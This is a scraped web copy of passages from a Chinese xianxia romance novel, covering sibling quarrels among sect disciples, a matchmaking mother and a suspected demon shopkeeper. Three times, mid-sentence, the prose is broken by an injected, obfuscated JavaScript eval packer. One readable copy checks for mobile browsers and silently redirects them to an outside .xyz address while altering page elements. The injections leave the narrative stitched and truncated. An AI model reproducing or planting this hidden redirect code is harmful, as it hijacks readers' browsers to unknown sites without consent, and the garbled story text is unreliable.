几个人又唠了一会儿，很快就有丫鬟过来通传，说是房间都收拾好了。五个人懒得再搭理姬小宝，逃也似的往各自的房间奔去，想着先美美地睡一觉再说，这个姬小宝，真是太聒噪了。 房间很大，比客栈里的房间大多了，窗外种了好几棵郁郁葱葱的树，看着很是赏心悦目。林惜英站在窗前欣赏着外面的景色，没多久就听见有人在敲门，她走了过去打开房门。 以为是洛纤凝，没想到竟是西门翠花。 只见西门翠花手里端着一个托盘，托盘上放着两碗不知道叫什么名字的汤，笑眯眯地盯着林惜英，道:“这是我让厨房给你们熬的绿豆汤，林姑娘快尝一尝，去去暑气。” 林惜英道了声谢，刚想接过那两碗汤，就见西门翠花麻利地溜进了屋，将碗放在了桌子上，并且四平八稳地往凳子上一坐，显然是不打算走了。 林惜英愣在原地呆呆地看着西门翠花，不明白她想干什么。 见林惜英迟迟没动静，西门翠花着急道:“林姑娘，你愣着干嘛？快过来喝汤啊，可好喝了，来，翠花姐姐看着你喝。” 林惜英更纳闷了。 看着她喝？她是小孩子么？需要大人看着喝？这汤里不会有毒吧？ 她走了过去坐下，正在犹豫要不要喝，西门翠花就已端起一碗绿豆汤灌进了嘴里。 林惜英这才敢端起面前的汤，小口小口地喝了起来。 这绿豆汤确实好喝，几口下去，周身的热气都减了不少，她忍不住小口变成了大口。 “林姑娘，你觉得我儿子怎么样？” “噗！”林惜英正喝得开心，闻言一口绿豆汤喷了出来，差点把自己给噎死。 她就知道，西门翠花如此大费周章地将他们带回府中，必定不安好心。 只是她这心未免也太急了，就不能过几日再说么？这么好的房间，她还没住够呢。 林惜英的咳嗽声还未结束，西门翠花就已喋喋不休了起来:“你放心，我儿子他只是一时被那个狐狸精给迷住了，日后你嫁给他，我保证，他绝对会对你一心一意……” “多谢西门夫人的好意，”林惜英强行止住咳嗽，婉言拒绝道，“我……暂时没有要嫁人的打算。” 西门翠花恍若未闻，迎难而上道:“我看你也不小了，女孩子嘛，迟早是要嫁人的，修什么仙啊，修来修去的，有几个能修成仙的？嫁个有钱人才是女孩子最好的归宿！当然了，我们姬府也是很有钱的，说一句家财万贯都不为过！你要是愿意嫁来我们姬府，日后整个姬府的钱都是你的，你想买什么就买什么，我们家小宝要是不听你的话，你就使劲打他，我一句话都不会多说……” 原来西门翠花方才就在与管家老刘商量，两个人一致认为，必须得给姬小宝找一个厉害点的老婆，否则这偌大的家业，迟早要被姬小宝给败光。 她鬼鬼祟祟地躲在角落里，指着凉亭里正襟危坐的林惜英问老刘:“老刘啊，你觉得那个林姑娘怎么样？” 老刘喜道:“那还用说么？比夫人您年轻时还好看，夫人真是好眼光！只是这姑娘看起来有些不太好说话，感觉随时要拔剑砍人…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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一提到琼芳长老，洛纤凝一下就怂了。她停止笑声，扑上去抱住林惜英的胳膊，笑得一脸讨好:“哎呀，说笑而已，师姐你怎么还当真了？我要卖也是卖大师兄，怎么可能会卖师姐你呢！” 沐灵泽靠在墙边叹道:“我就说这个西门夫人怎会如此好心请我们来姬府，原来是想打林师姐的主意，我们也算是沾了林师姐的光了。” “谁说不是呢！”沐辰风吸溜吸溜地喝着碗里的绿豆汤，一副八辈子没喝过绿豆汤的样子。 “沐师弟。”柳惜朝的声音倏地自背后响起，吓得沐辰风险些噎住。 他深感大事不妙，果然，下一刻就听柳惜朝道:“你们离家这么久，是时候去找沐掌门认个错了，别让沐掌门等太久了。” 沐辰风假装没听见，继续喝自己的绿豆汤。 沐灵泽一脸乖顺道:“好、好的大师兄，我们待会儿就去。” 柳惜朝点了点头，又上前两步，一把揪住洛纤凝的耳朵:“你方才说要卖了谁？！” 洛纤凝大叫一声，道:“哎呀我开个玩笑而已！大师兄你快松开我！松开我松开我！师姐快救我……” 师兄妹二人又争吵了起来，林惜英在一旁劝和，沐灵泽趁机将沐辰风拉到一边，郑重其事道:“不如我们现在就去找阿姐认个错吧？早死早超生，你说呢？” “现在？！”沐辰风瞪大眼睛道，“要去你去吧，我不去。” 沐灵泽:“那好，我走了，你待会儿一个人去找阿姐吧！” “……哎哎哎！”眼看沐灵泽越走越远，沐辰风赶忙折回去将碗塞给洛纤凝，拔腿追了过去，“你还真去啊阿泽？你等等我！” 洛纤凝:“……沐辰风！你把碗塞给我干什么？！有病吧你！” 43. 人间31 沐嫣然在客栈内等了许久，都没等到沐灵泽和沐辰风二人前来认错，正要去姬府找人，谁料刚下楼就看见沐灵泽拉着沐辰风从客栈外闪了进来。 见到沐嫣然，以及沐嫣然身后的祝少华等人，沐灵泽脚步一滞，底气不足道:“阿、阿姐，少华师姐，还有两位师兄，我们来了。” 沐嫣然瞪了二人一眼，没好气道:“还不快滚上来！” 兄弟二人乖乖地滚了上来，期间，祝少华凑在他们耳边低声道:“待会儿好好跟师姐认个错，千万不要顶嘴，听见了没？” 沐辰风道:“这话你应该跟阿泽说，我可从来不敢跟堂姐顶嘴，我乖着呢！” 祝少华没忍住一巴掌拍在了他的后脑勺:“你乖得很这次跑这么远想干什么？！” 沐辰风摸着后脑勺，委屈巴巴道:“是阿泽非要拉我出来的，不信你问他！” 说话间已行至房间外，沐嫣然一脚将房门踹开，踹得兄弟二人浑身一抖，愣在房门外迟迟不敢进去。 沐嫣然回过身来，喝道:“愣着干什么？！还不赶快给我滚进来！” 兄弟二人滚了进来。 “跪下！”沐嫣然又喝道。 沐辰风二话不说，“扑通”一声就跪在了地上，速度之快，动作之娴熟，令一旁的江少白钦佩不已，不由低笑出声。 “笑什么？！很好笑么？！”沐嫣然一个眼神扫了过去，江少白立刻噤声，并将嘴角绷得笔直。 “沐灵泽！我让你跪下！你没听见么？！” 随着沐嫣然的一声吼，沐辰风这才发现，沐灵泽竟然没有跪！没有跪就算了，偏偏一双眼睛还死死地盯着沐嫣然，不知道的还以为他要打沐嫣然呢。 这让他很是惶恐，他伸出手去拉沐灵泽的衣袖，往下拽了拽，压低声音道:“阿泽，你干什么呢？快跪下啊！” “我没错！我不跪！”沐灵泽严词拒绝，声音铿锵有力，掷地有声。 这可把其他四人给吓坏了，面面相觑不知道该怎么办才好。 沐嫣然眉心一拧，走到沐灵泽面前，怒声道:“你说什么？你没错？你背着我跑来这么远的地方，还说你没错！” “我就是没错！”沐灵泽梗着脖子为自己辩解道，“我长大了，我想去哪儿是我的自由！你管不着！况且我走之前留了信给你，所以我没错！” 祝少华觉得自己的命是真苦，怎么就摊上了这姐弟俩。她擦了擦额头的汗珠，走到沐灵泽跟前，再一次充当起了和事佬:“阿泽，我刚才怎么跟你说的？你怎么又跟师姐顶嘴？你留下一封信就消失了，也没说你去哪儿，你知不知道师姐她……” “够了！”沐嫣然突然出声打断祝少华，并转过身去，背对着沐灵泽道:“顽劣不堪！何必与他浪费唇舌！让他滚！从今以后，他就算死在外面也与我无关！” “我顽劣不堪？”沐灵泽冷笑，“就算我顽劣不堪，那也是你教出来的！沐嫣然，我知道你讨厌我，看我不顺眼……” “我就是讨厌你！我就是看你不顺眼！”沐嫣然转过身来，指着沐灵泽的鼻子大骂道，“要不是因为你，阿娘她怎么可能年纪轻轻就命丧黄泉？！我又怎么会小小年纪就失去母亲？！你就是个灾星！自打你降生后，我们碧落门就没有发生过一件好事！！” “师姐！”祝少华和路少川齐声唤道。 然而不等他们再劝，就听沐灵泽大声道:“沐嫣然！你总算把你的真心话都说出来了，憋了十几年，快把自己憋坏了吧？！依我看，我们俩不过是半斤八两罢了！要不是因为你，阿爹他怎么可能会死？！所以你也是个灾星！你比我更灾！！” 此话一出，所有人都忍不住倒吸了一口凉气，再去看沐嫣然，额头青筋暴起，感觉要被气吐血了。 从小到大，还从未有人敢这样与她说话，沐嫣然气极，一个箭步抢上前去，对准沐灵泽的脸就是一个巴掌，声音之大，吓得跪在地上的沐辰风肩膀一抖，仿佛这一巴掌没有甩在沐灵泽脸上，而是甩在了他的脸上。 “师姐！”祝少华赶忙扑过去将人拦住，“你怎么能下这么重的手呢？阿泽他是有错，可你也不应该……” “我就动手了怎么了？！”沐嫣然瞪着沐灵泽道，“有本事让他打回来！早年间算命先生说他克父克母克妻克兄弟姐妹，我还不信，如今看来，必定如此！” “师姐！！”祝少华高声喝道，“你胡说八道什么呢？算命先生胡言乱语你也信？你这不是咒你自己么？！”又对沐灵泽道:“阿泽，你别听你阿姐胡说八道，算命先生的话岂可当……阿泽！” 话未说完，沐灵泽已捂着脸奔出了房门，沐辰风也追了出去。 祝少华忙道:“少川少白，你们俩还愣着干什么？快跟过去看看啊！” 师兄弟二人应了声是，正要拔腿跟过去，沐嫣然又道:“有什么好看的？！让他死在外面算了！！” 江少白登时愣在了原地。 “走啊！”路少川知道沐嫣然刀子嘴豆腐心，拉着江少白就往外面跑去。 房间里只剩下了师姐妹二人，沐嫣然背对着祝少华，一脚踹翻了面前的桌子。泪水不知何时已落满了脸颊，她连忙抬手用衣袖擦干净，可还是逃不过祝少华的眼睛。 祝少华叹了口气，道:“师姐，你说你这是何苦呢？明明担心他担心得整日睡不着觉，为何一见到他就恶语相向？他可是你亲弟弟啊，而且师娘的死怎么能怪在他头上呢？” 怎料沐嫣然并未搭理她，而是冷声道:“出去！” 祝少华只好翻了个白眼，默默地退了出去，并将房门关上。 姬府。 西门翠花正在院子里乱晃，思索到底怎样才能让林惜英心甘情愿地留在姬府做她的儿媳，就看见沐灵泽一阵风似的从门外刮了进来，脸上挂着两行泪和一个巴掌印，后面跟着气喘吁吁的沐辰风。 “哦哟！”西门翠花被沐灵泽脸上的印记给吓了一跳，“怎么了这是？” 然而沐灵泽并未搭理她，径直往自己的房间奔去，并将房门牢牢锁上，任谁敲门都不开。 洛纤凝和柳惜朝被外面的敲门声给惊醒了，循着声音找了过来，问沐辰风:“怎么了？发生什么事了？你们不是去找沐掌门了么？” 沐辰风哀声道:“别提了，我堂姐扇了阿泽一巴掌……” “啊？！”洛纤凝震惊道，“沐姐姐打沐灵泽了？为什么啊？” 沐辰风只好将方才的事如实相告。 洛纤凝道:“原来是这样。这沐姐姐也真是的，再怎么样也不能打人啊，还有什么克父克母克妻克兄弟姐妹，这种话她也信？” 就在这时，路少川和江少白也已跟了过来，向柳惜朝打过招呼后，想进去安慰沐灵泽，却发现门被锁了。 “阿泽！”路少川拍了拍房门，替沐嫣然说话道:“师兄知道你很伤心，但师姐是什么样你还不清楚么？她就是那个脾气，刀子嘴豆腐心，她不是有意那样说你的，也不是有意要对你动手的。你不知道，你和阿辰离家出走之后，师姐她有多担心你们……” “我看她是在担心沐辰风吧！”沐灵泽缩在墙角抽抽噎噎道。 “怎么可能！”路少川道，“她最担心的就是你了，她还担心你钱没带够，没地方住，心地太好，被人欺负，不像阿辰，没钱花还能去偷，去赌……” 沐辰风:“……喂！少川师兄，我什么时候偷过别人的钱了？你怎么能这样说我呢？！” “哈哈哈！”洛纤凝没忍住大笑了起来，“沐辰风，还是沐姐姐最了解你，你这人就喜欢偷别人东西，比如驻……” 话未说完，就被沐辰风冲过来捂上了嘴。 路少川眉心一蹙，道:“洛姑娘，你这话什么意思？阿辰他偷你东西了？” 洛纤凝伸手将沐辰风推去一边，还没来得及说话，就听“哗”的一声，房门被打开了。 “阿泽！”路少川也没工夫理沐辰风了，转身就和沐灵泽说起了话，“别生师姐的气了，师姐是打了你，可是你也骂了她，快跟我回去向师姐认个错……” “喂喂喂！”江少白倚在走廊的柱子上，越听越觉得路少川这话不对劲，忙不迭上去打断他，“少川，你听听你的心都偏到哪儿去了？你不能因为喜欢师姐，就老向着她说话吧？你看看她把阿泽的脸打成什么样了？你竟然还想让阿泽回去向她认错？” “我哪有！”路少川正打算狡辩几句，忽听房门“砰”的一声又关上了。 路少川:“……” 江少白耸了耸肩，道:“看吧，又是你干的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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这不摸不要紧，一摸，沐灵泽一下就跳了起来，像被烫到了屁股一般，大声道:“洛纤凝！男孩子的脑袋是不能随便乱摸的！” 洛纤凝仰头看他:“为什么？” “反正……反正就是不能摸！”沐灵泽又蹲了下来，这次他没有将脸埋进膝盖，而是选择别去一边，一副不想搭理洛纤凝的模样。 洛纤凝嘿嘿一笑，道:“就摸就摸。” 伸出手又摸了两下。 沐灵泽:“……” 洛纤凝:“你瞪我干什么？不就是摸了一下你的脑袋么？怎么，难道摸一下你就变矮了？话说你还吃不吃糖了？你再不吃，我就吃完了。” 沐灵泽擦了擦眼泪，依旧不吭声。 洛纤凝又从怀中摸出了一个小瓷瓶，塞进了他手里:“呶，这个是伤药，你快涂到你脸上，很快就好了。” 沐灵泽本想说:“你给我涂。”但又觉得这话过于暧昧，于是眼珠一转，将药倒了出来，胡乱往自己脸上一抹，然后将小瓷瓶扔给了洛纤凝:“涂好了，还给你。” 果然，洛纤凝上当了:“喂，沐灵泽，你看看你涂的什么？都没涂对地方。”说话间已伸出手在沐灵泽脸上画起了圈，动作很轻，很慢。 沐灵泽屏住呼吸，一双眼睛睁得圆溜溜的，一动不动地盯着洛纤凝，觉得这屋里似乎有点热。 他可从未见洛纤凝这样温柔过。 洛纤凝如何能没发觉，她收回手，眉飞色舞道:“你老盯着我干嘛？怎么样，是不是觉得我很温柔，很善解人意？” “……” 沐灵泽嘴角一抽，道:“温柔？善解人意？洛纤凝，你听听你和这几个字哪个字沾边？你别整天跟个毒妇似的锁我的喉以及偷袭我的后脑勺，我就已经谢天谢地了。” 洛纤凝被他这话给气到了，揪住他的耳朵道:“沐灵泽！你说什么呢？！有本事你再给我说一遍！” 沐灵泽被洛纤凝揪得嗷嗷直叫:“我说什么了？！洛纤凝！你这个毒妇！你快松开我！” “敢说我是毒妇，沐灵泽，看我今天不掐死你！” 江少白和沐辰风透过门缝望着屋里那两人，情不自禁道:“不是吧？这就好了？” 44. 人间32 回到客栈后，江少白立即将方才在姬府的所见所闻告诉了祝少华，祝少华听完后，若有所思道:“这十几年来，我可从未见过阿泽和别的姑娘如此亲近过。” “谁说不是呢。”江少白悠哉悠哉道，“师姐，依我看，阿泽十有八九喜欢洛姑娘，否则也不可能一直跟着洛姑娘他们，你说是不是？” 祝少华点头道:“也许是吧。” 此时已是用晚饭的时辰，路少川杵在沐嫣然的房门外敲了半天的门，愣是不见沐嫣然出来。祝少华走了过去喊道:“师姐，你好歹出来吃一点吧，不吃饭怎么行？师姐，少川方才不是跟你说了么，阿泽他没事，现在正在姬府大吃大喝呢！你说你何必呢，到头来只饿着了自己。” “我说我不吃！”沐嫣然依旧只有这一句。 祝少华颇为无奈道:“算了，我们吃我们的吧，待会儿等她饿了，自然会出来的。” 三个人下了楼用起了晚饭，路少川时不时就往楼上瞅，然而始终不见沐嫣然的身影。 江少白瞥他一眼，道:“行了别看了，师姐什么脾气你还不知道么？她说不吃，那就是不吃，你赶紧吃你的吧。” 路少川只好低下头认真吃起了面，明明看起来很美味的一碗面，吃到他嘴里却毫无滋味。 到了夜里，仍然不见沐嫣然出来，路少川觉得不能再这样等下去了，这么长时间过去了，师姐她怎么可能会不饿呢？ 他跑下楼和客栈老板借了个厨房，忙活了好一阵后，端着一碗热气腾腾的面来到了沐嫣然的房门外，敲了敲门，道:“师姐，我给你做了你最爱吃的葱花面，你多少吃一点吧。” “师姐，你不说话，我进来了？” 路少川推开房门走了进来，将面放在了桌子上，看着沐嫣然的背影道:“师姐，快吃面吧，一会儿凉了就不好吃了。” 沐嫣然望着窗外的夜色，略显疲惫道:“我说了我不吃。” “那怎么行？师姐，你都大半天没吃饭了，你以前不是总说，你晚上不吃饱饭，会睡不着的么？” 沐嫣然皱了皱眉，道:“那都是多少年前的事了，你还记得？” 路少川笑道:“师姐对我说过的每一句话，我都记得。” 见沐嫣然迟迟未动，路少川索性端起面来到了沐嫣然的跟前，双目灼灼地望着她:“师姐，吃一口吧。” 沐嫣然偏头去看路少川，动了动嘴唇，似乎想对他说什么，但话到嘴边，却又咽了回去。她抬起手去接那碗葱花面，可到了最后，还是选择将那碗面打翻，并提高声音道:“我说我不吃！你烦不烦？！” 葱花面“哗啦”一声摔在了地上，面和汤撒了一地，恰在此时，祝少华推门进来，正好看到了这一幕。 路少川愣了一下，但他的第一反应不是去看那碗面，而是盯着沐嫣然被烫到的手背，一脸担忧道:“师姐，你的手没事吧？要不要上些药？” “不用！”沐嫣然冷漠道。 “师姐！”祝少华快步走上前来，语气颇为不悦，“少川他也是好心，我知道你心情不好，但你也不能拿少川撒气吧？” 路少川赶忙为沐嫣然开脱道:“我没事的少华师姐，师姐她不是故意的……” “我方才看得清清楚楚，她分明就是故意的！”祝少华截断路少川的话，看着沐嫣然道，“师姐，少川他担心你夜里会饿，特意跑去厨房为你做了一碗面，你不吃就算了，为何要糟践他的心意？” 沐嫣然沉默着，就在路少川转身想出去时，忽然开口叫住了他:“对不起少川，方才是我不对，我不应该对着你撒气。” 路少川又是一愣，刚想说没关系，又听沐嫣然道:“少川，你回碧落门去吧，不要跟着我了。” 路少川登时错愕不已:“师姐，你要赶我走？是我做错什么了么？” “你没有做错什么，是我不想看见你！”沐嫣然脸色倏地一冷，与方才判若两人，“我早就跟你说过，我与你，绝无可能！所以你老是在我面前晃来晃去，只会让我觉得心烦！” “师姐！”祝少华唤道，然而沐嫣然却早已背过身去，看都不看她一眼。 泪水夺眶而出，路少川抬手抹去眼泪，哽咽道:“好，我明日就走，以后我再也不会让师姐心烦了。” “少川……”祝少华上前欲挽留路少川，路少川推开她道:“少华师姐不必劝我，如果我走了，师姐就能高兴，我走就是了。以后师姐就交给你们了。” 祝少华只得眼睁睁地看着路少川与自己擦肩而过。她走到沐嫣然跟前，质问她:“师姐，你为什么总是这样？你为什么就不能放下过去向前看呢？难道你要找荆逝水找一辈子么？” “对，我就是找他找一辈子！”沐嫣然强行将泪水逼回眼眶，转头看着祝少华，“所以你看，我根本就不值得，总有一天，少川他会感谢我的。” 祝少华无言以对，眼睛一闭又一睁，道:“好吧，你开心就好，我回屋睡觉了。” 以为今日已经够命苦了，怎料更命苦的还在后面。 次日一早，祝少华还没睡醒，就被沐嫣然的敲门声给吵醒了。 祝少华拉开门，睡眼惺忪道:“师姐，何事？” 沐嫣然面无表情道:“捉妖。” 祝少华睡意顿消:“捉妖？师姐，你发现妖了？你等等我，我去叫少川和少白。” “不必叫他们。”沐嫣然伸手拦住祝少华的去路，“少川回碧落门了，少白去送他了。” “……不是吧师姐，你真的让他走了？” 沐嫣然:“不然呢？快去洗脸，我等你。” 祝少华:“……” 半个时辰后，师姐妹二人雷厉风行地出现在了花容阁的门前。 祝少华:“师姐，你说的那只妖，该不会就藏在花容阁吧？” 沐嫣然:“嗯。” 祝少华:“可是这里根本没有一丝妖气。” 沐嫣然:“那个柳小青，一定是妖！” 祝少华眉心一跳:“柳老板是妖？师姐，你怎么看出来的？我觉得不像啊。” 沐嫣然:“直觉。” 祝少华:“……” 怪不得昨日她老是盯着柳小青看。 两个人迈进了花容阁，祝少华四处张望了起来，沐嫣然则直挺挺地立在店中央，一动不动，一双眼睛只盯着柳小青看。这让旁边的女伙计很是纳闷，她上前问道:“不知二位需要些什么？我们花容阁的胭脂……” “我们随便看看。”祝少华微笑着打断她。 毕竟她没有要买胭脂的打算，沐嫣然就更没有了。 她拉了拉沐嫣然的衣袖，示意她不要这么明显，然而沐嫣然恍若未觉，一双眼睛好像长在了柳小青的脸上。 木格货架上摆满了大大小小的瓷盒，几名二八年华的女子正在货架前走来走去，仔细挑选，站在她们旁边的，正是柳小青。 “老板，”一名少女声音轻轻的，俨然一副大家闺秀的模样，“这个……会不会太淡了些？” “确实淡了些。”柳小青笑着走了过去，取过另一盒胭脂，将其打开，“姑娘看看这个，我觉得这个更衬姑娘……” 一语未了，就发觉有人在盯着自己看，柳小青警觉地抬起头，朝前方望去，一眼就望见了店中央的那两名女子，以及她们手中威风凛凛的长剑。柳小青心中的弦立时绷紧，却仍故作镇静道:“不好意思，姑娘您慢慢挑，我先失陪一下。” 她抬脚来到二人的面前，笑吟吟地打量着其中最年长、最美貌的一位，啧啧叹道:“好漂亮的姐姐，未施粉黛都这么漂亮。话说这位姐姐，你不看胭脂，看我做什么？莫非你瞧不上我这里的胭脂，瞧上我了？” 短短一句话，就将祝少华给逗乐了。祝少华没忍住低下头悄声笑了起来，心想怪不得姬小宝被这位柳老板迷得要死要活，今日一见，此人着实有趣。 再去看沐嫣然，明显被柳小青这话给气到了，不假思索地骂道:“污言秽语！不知廉耻！” 此言一出，满店皆惊。 柳小青正色道:“这位姐姐，你要是来买胭脂，我自当诚心欢迎，可你进门许久，什么都不买就算了，还总是瞪着我，请问我认识你么？还是说你无聊得紧，想找我打架？” 祝少华正欲开口解释，店内一名顾客便凑了过来，对沐嫣然横眉冷眼道:“对啊，你这人怎么回事？不买东西就算了，怎么还骂人呢？” 其他顾客纷纷附和，就连祝少华也拉着沐嫣然欲离开。 沐嫣然忍无可忍，想出手试探一下柳小青，却不料就在此时，外面奔进一个人来，开口便道:“小青姐姐！你们……在干嘛？” 沐嫣然定睛一看，此人正是姬小宝。 姬小宝觉得沐嫣然很是眼熟，想了想，道:“我见过你，你不是昨天那个……” 虽然姬小宝只见过沐嫣然一面，但因她长得好看，他想不记得她都难。 柳小青皱眉道:“小宝，你认识这位姐姐。” 姬小宝点了点头，道:“算是吧，她是……柳大哥的……师弟的……姐姐，姓沐吧应该。小青姐姐，柳大哥你知道吧？我之前跟你说过的，他是长绝山的大师兄！可厉害了！想当年我差点就跟他去长绝山了，都怪我娘硬拉着我不让我去，否则我现在指不定有多厉害呢！我跟你们说，柳大哥现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16136066|166943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在就住在我们家，我正在缠着他跟他学法术，等我学成了，一定给你们露一手……” 姬小宝还在滔滔不绝地吹着牛皮，惹得店内的顾客大笑不止，沐嫣然已是听不见了，因为她被祝少华拉出了花容阁。 沐嫣然甩开祝少华的手臂，语气极其不快:“你拉我出来干什么？！” 祝少华道:“师姐，你是不是搞错了？柳老板她怎么可能会是妖？就算是妖又怎样？也不见得她伤过人，没准是只好妖……” “什么好妖坏妖？！”沐嫣然厉声打断她，“我跟你说过多少遍了？妖就是妖！即便她今日不害人，也难保他日不会害人！” 祝少华无语片刻，又道:“可是师姐，你没有证据证明她是妖，万一你伤及无辜了怎么办？” 沐嫣然不依不饶:“她一定是用什么办法掩盖了自己身上的妖气！早晚我会揭穿她的真面目！” “师姐，你能不能不要……”祝少华还想再劝，沐嫣然知道她想说什么，冷冷道:“够了别说了，我想一个人逛一逛，你别跟着我了。” 祝少华:“……” 什么臭脾气！ 就在沐嫣然独自踏上长街的同时，柳府的墙头上冒出了三个圆溜溜的脑袋，脑袋的主人眼睛睁得一个比一个大。 洛纤凝道:“我倒要看看，这个齐叔平到底长什么样，值得姬小宝恨成这样。” 沐灵泽道:“话说这个齐叔平到底什么时候出现？再不出现我们就要被发现了。” 沐辰风道:“不要着急嘛，没准他还在睡觉呢。唉，真羡慕他，开茶肆茶肆倒闭了，开画铺画铺也倒闭了，即便这样，柳老板依旧对他不离不弃，当男人当成他这样，简直太幸福了。” “谁说不是呢！”洛纤凝也露出了艳羡的表情，“还是当男人轻松啊！” 这话正好刺中了沐辰风的小心脏，沐辰风立时反驳道:“喂，洛纤凝，你瞎说什么呢？我们男人哪里轻松了？” 洛纤凝看都懒得看他:“哪里不轻松了？女人嫁人还要相夫教子传宗接代，男人嫁人什么都不用干，还不用生孩子，这不是轻松是什么？” “你……” “出来了出来了！”沐灵泽突然道。 三个人立马将脑袋往下压了压，以防太过显眼被齐叔平发现。 “哪儿呢？哪个是齐叔平？”洛纤凝凑到沐灵泽耳边问道，“我怎么没看见？” 沐灵泽伸出手指了指凉亭里那个穿着最鲜艳的男子，低声道:“那个，他穿得最好，而且丫鬟小厮都对他点头哈腰的，肯定就是他。” 洛纤凝屏住呼吸凝神望去，果然见一个年轻男子正在凉亭里走来走去，时而站着，时而坐着，口中念念有词，也不知道在嘀咕什么。 终于，那男子将脸转了过来。 洛纤凝情不自禁地伸长了脖子，恨不得把眼珠子也伸长，想要看个仔细。 只见那男子长着一张方脸，和柳小青大约一个年纪，面如敷粉，目如点漆，五官柔和，眉目如画，站有站相，坐有坐相，一派温文尔雅的书生模样。 洛纤凝盯着那男子看了许久，久到那男子又转过身去，才张大嘴巴感叹道:“哇！这个齐叔平长得也太好看了吧？早就听闻南国生美人，这一路走来，果真不假，这南国竟然连男人都这么好看。难怪他都败家败成这样了，柳老板还是不舍得休了他，这要是换成我，我也舍不得休，这不比姬小宝那个咋咋呼呼的愣头青好看多了，一看就是读过书的人……” 见洛纤凝盯着齐叔平的背影两眼放光，沐灵泽顿时生出了一丝担忧。他瞅着她的侧脸道:“洛纤凝，你不会看上他了吧？” “说什么呢？”洛纤凝觑他一眼，“我是那种会觊觎别人丈夫的人么？” “……那就好。” 洛纤凝又道:“话说这齐叔平也不黄不老不丑啊，怎么到了姬小宝的嘴里就……唉，你们男人的嫉妒心真是……啧啧。” 这话无疑又刺到了沐辰风，他急忙道:“洛纤凝，你说他就说他，不要带上我们所有男人好吧！你这人怎么老是……” 说至此处，忽然感觉脚腕被什么东西拽了一下，紧接着，一个稚嫩的声音从下方飘了上来:“你们三个在干嘛？” “……啊！！！”沐辰风朝下一看，见下面站着个人，正在拽他的脚腕，没忍住手一滑，一屁股跌了下来。 此等叫声，想不被人听见都难，很快，院子里就有人喊道:“什么人？！” “不好！被发现了！快跑！”洛纤凝麻溜地跳下墙，也不管沐灵泽和沐辰风有没有跟上来，拔腿就是一阵狂奔，一直奔到一个偏僻的小巷子里，才敢停下来。 45. 人间33 “沐辰风！你没事干瞎鬼叫什么？！”巷子深处，洛纤凝瞪着沐辰风骂道。 沐辰风喘着气道:“你以为我想叫啊！还不是因为刚才那个小姑娘拽我的脚！” 洛纤凝支着下巴道:“怎么感觉刚才那个小姑娘有点眼熟？好像在哪儿见过。” 正回忆着，就看见一个白色的身影从墙上翻了下来，笔直地朝她扑了过来:“大姐姐！我们又见面了！” 洛纤凝一怔:“小狐狸？怎么又是你？你怎么在这儿？” 这不是在乌县时的那个小狐狸么？ “狐狸？！”沐灵泽和沐辰风睁大眼睛看着面前的小女孩，面露疑惑道，“怎么回事？洛纤凝，你认识她？” “啊！！！你你你……”洛纤凝还没来得及说话，就看见小女孩指着沐灵泽那张脸大叫了起来，不知道的还以为她见到鬼了。 沐灵泽一脸纳闷地盯着她:“我我我……我怎么了？” 小女孩欣喜若狂地叫道:“你……你和我阿婆画像上的那个人长得一模一样！” 洛纤凝翻了个白眼，道:“又来了，你不是说我和你阿婆画像上的那个人长得一模一样么？怎么又变成他了？” “你们两个都是啊！”小女孩声音雀跃道，“我阿婆那幅画像上有两个人，和你们两个长得一模一样！”说着抓住洛纤凝的胳膊摇晃道:“大姐姐！大哥哥！你们两个跟我回旸山吧？我阿婆见到你们一定会很开心的！” “旸山？”沐灵泽皱眉道，“那是什么地方？” “就是……” 洛纤凝将那天夜里见到小女孩的事仔仔细细跟兄弟二人说了一遍。沐灵泽听罢，若有所思地看着小女孩，问道:“你是说，我和洛纤凝长得和你阿婆画像里的那两个人一模一样？” 小女孩点头:“嗯！” “那他们两个是什么人？” 小女孩:“具体的我也不知道，我阿婆没告诉我，说我还小，等我长大了再告诉我。我只知道他们两个是我们旸山的恩人，救过我阿婆命的那种！” 沐灵泽:“……这确实是你们旸山的大恩人，但也确实不可能是我们两个。” “为什么？”小女孩摸着后脑勺道。 沐灵泽笑道:“你傻呀小妹妹？你阿婆都活了九千多年了，我们两个还这么年轻，又是第一次出远门，怎么可能会是你阿婆的救命恩人？” “……也对唉。”小女孩垂头丧气道，可还是不愿放弃:“可是……可是这也太巧了吧？你们两个怎么会凑到一起？” 洛纤凝耸耸肩道:“那谁知道呢，反正你肯定认错人了。快回你家里去吧，不要跟着我们了。沐灵泽沐辰风，我们走吧！” 三个人抬脚就要离开巷子，却不料小女孩竟直接扑倒在了地上，牢牢地抱住了洛纤凝和沐灵泽的腿。 这下三个人想走也走不成了。洛纤凝低头去看趴在地上的小女孩，很是无奈道:“你又干嘛？” 小女孩吸了吸鼻子，道:“大姐姐，你不知道，前几天有两个捉妖的，差点把我捉去扒皮炖汤了，要不是一位大姐姐及时出现救了我，我早就变成一锅汤了！呜呜呜……” “……所以呢？” 小女孩眨了眨眼，道:“所以我要跟着你们，让你们保护我！” “……” 三个人对视一眼，沐辰风蹲下身看着小女孩，问道:“你不是说有个大姐姐救了你么？你为什么不去跟着她？” 小女孩道:“因为那个大姐姐的家就在这里，可是我不能永远待在这里吧？我还没玩够呢！呶，你们刚才趴过的那个院子，就是那个大姐姐的家，虽然我不知道你们在干什么……” 